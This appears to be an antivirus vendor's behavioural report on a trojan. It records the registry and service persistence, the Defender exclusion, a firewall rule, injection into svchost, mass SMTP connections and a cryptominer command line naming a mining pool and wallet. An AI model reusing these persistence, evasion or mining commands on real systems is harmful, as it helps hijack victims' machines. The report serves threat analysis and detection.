Trojan.Siggen18.17414

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\skoqwcwg] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\skoqwcwg] 'ImagePath' = '%WINDIR%\SysWOW64\skoqwcwg\rhswiqwf.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\skoqwcwg] 'ImagePath' = '%WINDIR%\SysWOW64\skoqwcwg\rhswiqwf.exe'

Creates the following services

'skoqwcwg' %WINDIR%\SysWOW64\skoqwcwg\rhswiqwf.exe /d"<Full path to file>"
'skoqwcwg' %WINDIR%\SysWOW64\skoqwcwg\rhswiqwf.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\skoqwcwg' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\rhswiqwf.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\rhswiqwf.exe to %WINDIR%\syswow64\skoqwcwg\rhswiqwf.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx.####kingunder.com':25
'em##.freenet.de':25
'mx###.##il.am0.yahoodns.net':25
'mx#######601.gslb.pphosted.com':25
'fa###ool.xyz':10060
'mx.####re-throop.com':25
'mx#######301.gslb.pphosted.com':25
'mx#######a01.gslb.pphosted.com':25
'mx######28103.pphosted.com':25
'ma##.#ogogmail.com':25
'mx#.free.fr':25
'mx##.##il.icloud.com':25
'fo#####il.mpsomaha.org':25
'mx.##stlink.ca':25
'sp###.##rdstowncable.net':25
'ma##.#utanota.de':25
'mc######.mx.a.cloudfilter.net':25
'r-####3.korea.com':25
'mx.####bonesphoto.com':25
'mx##.##rnetsecurity.com':25
'mx.##eatty.info':25
'mx.##design.net':25
'mx#######401.gslb.pphosted.com':25
'mx##.#and1.co.uk':25
'mx.###ckmans.info':25
'mx#######b01.gslb.pphosted.com':25
'mt##.##0.yahoodns.net':25
'ea##.####.exch090.serverdata.net':25
'mx#.#opsec.com':25
'mx#####rt.hosteur.net':25
'mx#######b02.gslb.pphosted.com':25
'80.##.75.254':486
'mx.######mail.rediff.akadns.net':25
'alt2.aspmx.l.google.com':25
'eu#.###.#rotection.outlook.com':25
'cx#.##.#.cloudfilter.net':25
'ff######x-vip2.prodigy.net':25
'mx###.comcast.net':25
'mx##.#-online.de':25
'mx##.mail.com':25
'mx######cc501.pphosted.com':25
'mx#.#aver.com':25
'mx.#p.pl':25
'ma##.#evdan.com.au':25
'mx.####ailles.inra.fr':25
'mx.#len.pl':25
'31.##.244.82':430
'31.##.244.127':430
'80.#6.75.4':430
'31.##.244.128':430
'31.##.244.85':430
'google.com':80
'mx######91d01.pphosted.com':25
'10#.#7.58.33':25
'es#.#entene.com':25
'mx#######e01.gslb.pphosted.com':25
'sm###.#ail.medcity.net':25
'mx#######f01.gslb.pphosted.com':25
'sv####lfheim.top':443
'31.##.244.126':430
'mx#######501.gslb.pphosted.com':25

TCP

HTTP GET requests

http://www.google.com/

Other

'sv####lfheim.top':443
'mx#.#opsec.com':25
'mt##.##0.yahoodns.net':25
'ea##.####.exch090.serverdata.net':25
'mx.####kingunder.com':25
'mx###.##il.am0.yahoodns.net':25
'fa###ool.xyz':10060
'sp###.##rdstowncable.net':25
'fo#####il.mpsomaha.org':25
'ma##.#utanota.de':25
'r-####3.korea.com':25
'mx.####ailles.inra.fr':25
'mx.####bonesphoto.com':25
'mx##.##rnetsecurity.com':25
'mx.##eatty.info':25
'mx#####rt.hosteur.net':25
'10#.#7.58.33':25
'alt1.aspmx.l.google.com':25
'31.##.244.128':430
'31.##.244.82':430
'31.##.244.127':430
'31.##.244.126':430
'31.##.244.85':430
'80.#6.75.4':430
'mx.####re-throop.com':25
'mx#.#aver.com':25
'aspmx.l.google.com':25
'ff######x-vip2.prodigy.net':25
'eu#.###.#rotection.outlook.com':25
'mx.######mail.rediff.akadns.net':25
'alt2.aspmx.l.google.com':25
'80.##.75.254':486
'mx.###ckmans.info':25
'ma##.#evdan.com.au':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK mx.####ailles.inra.fr
DNS ASK gr###on.inra.fr
DNS ASK ou##ook.fr
DNS ASK mx.##stlink.ca
DNS ASK dc##et.com
DNS ASK mx##.##il.icloud.com
DNS ASK me.com
DNS ASK mx#.free.fr
DNS ASK on##ne.fr
DNS ASK ma##.#ogogmail.com
DNS ASK go###mail.com
DNS ASK mx######28103.pphosted.com
DNS ASK fi##tam.com
DNS ASK ex###lerx.com
DNS ASK ep##.com
DNS ASK sp###.##rdstowncable.net
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK el###lty.com
DNS ASK mx.####re-throop.com
DNS ASK el####-throop.com
DNS ASK fa###ool.xyz
DNS ASK el###chs.org
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK ec##i.com
DNS ASK ea###town.org
DNS ASK dy##rt.org
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK sk#.com
DNS ASK em##.freenet.de
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK hc####lthcare.com
DNS ASK tu###ota.com
DNS ASK bi####dbuild.org
DNS ASK ma##.#evdan.com.au
DNS ASK be###n.com.au
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK be##buy.com
DNS ASK mx.###ckmans.info
DNS ASK be###mans.info
DNS ASK be###ofer.org
DNS ASK mx##.#and1.co.uk
DNS ASK be###eue.co.uk
DNS ASK be##ee.net
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK be###ospace.com
DNS ASK bc##ne.org
DNS ASK fr##net.de
DNS ASK ba####owncable.net
DNS ASK bc####onmedia.com
DNS ASK mx.##eatty.info
DNS ASK bb###ty.info
DNS ASK bb###vest.com
DNS ASK ba####eractive.com
DNS ASK mx##.##rnetsecurity.com
DNS ASK ba#####sconcrete.com
DNS ASK mx.####bonesphoto.com
DNS ASK ba####nesphoto.com
DNS ASK ba###s.com.au
DNS ASK r-####3.korea.com
DNS ASK ko##a.com
DNS ASK mc######.mx.a.cloudfilter.net
DNS ASK mc##i.com
DNS ASK bc###ign.net
DNS ASK ma##.#utanota.de
DNS ASK mx.####kingunder.com
DNS ASK sn####ngunder.com
DNS ASK sl###oodusa.org
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK na##r.com
DNS ASK mx######cc501.pphosted.com
DNS ASK ke####nenergy.com
DNS ASK aspmx.l.google.com
DNS ASK no##ait.com
DNS ASK yo##s.com
DNS ASK mx##.mail.com
DNS ASK ar####ologist.com
DNS ASK mx##.#-online.de
DNS ASK t-##line.de
DNS ASK mx###.comcast.net
DNS ASK co##ast.net
DNS ASK ff######x-vip2.prodigy.net
DNS ASK bi##et.com
DNS ASK wp.pl
DNS ASK co#.net
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK ho##ail.nl
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK alt2.aspmx.l.google.com
DNS ASK gr#####a-majalah.com
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK re###fmail.com
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK sv####lfheim.top
DNS ASK at#.net
DNS ASK mx.##design.net
DNS ASK mx.#p.pl
DNS ASK te##s.net
DNS ASK o2.pl
DNS ASK ea##.####.exch090.serverdata.net
DNS ASK si#####refacilities.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK ro###tmail.com
DNS ASK mx#.#opsec.com
DNS ASK en####rgical.co.uk
DNS ASK el###ttmc.co.uk
DNS ASK mx#####rt.hosteur.net
DNS ASK ka###ante.fr
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK ta##et.com
DNS ASK su#.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK mx.#len.pl
DNS ASK sr##et.com
DNS ASK mx#.#aver.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK we###oint.com
DNS ASK es#.#entene.com
DNS ASK we###are.com
DNS ASK mx######91d01.pphosted.com
DNS ASK sb#.com
DNS ASK ra##usa.com
DNS ASK ap###emes.com
DNS ASK google.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK da####owenmd.com
DNS ASK fo#####il.mpsomaha.org
DNS ASK mi###rdps.org
DNS ASK sm###.#ail.medcity.net
DNS ASK mx#######501.gslb.pphosted.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\skoqwcwg\rhswiqwf.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\skoqwcwg\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rhswiqwf.exe" %WINDIR%\SysWOW64\skoqwcwg\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create skoqwcwg binPath= "%WINDIR%\SysWOW64\skoqwcwg\rhswiqwf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description skoqwcwg "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start skoqwcwg' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\skoqwcwg\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rhswiqwf.exe" %WINDIR%\SysWOW64\skoqwcwg\
'%WINDIR%\syswow64\sc.exe' create skoqwcwg binPath= "%WINDIR%\SysWOW64\skoqwcwg\rhswiqwf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description skoqwcwg "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start skoqwcwg
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

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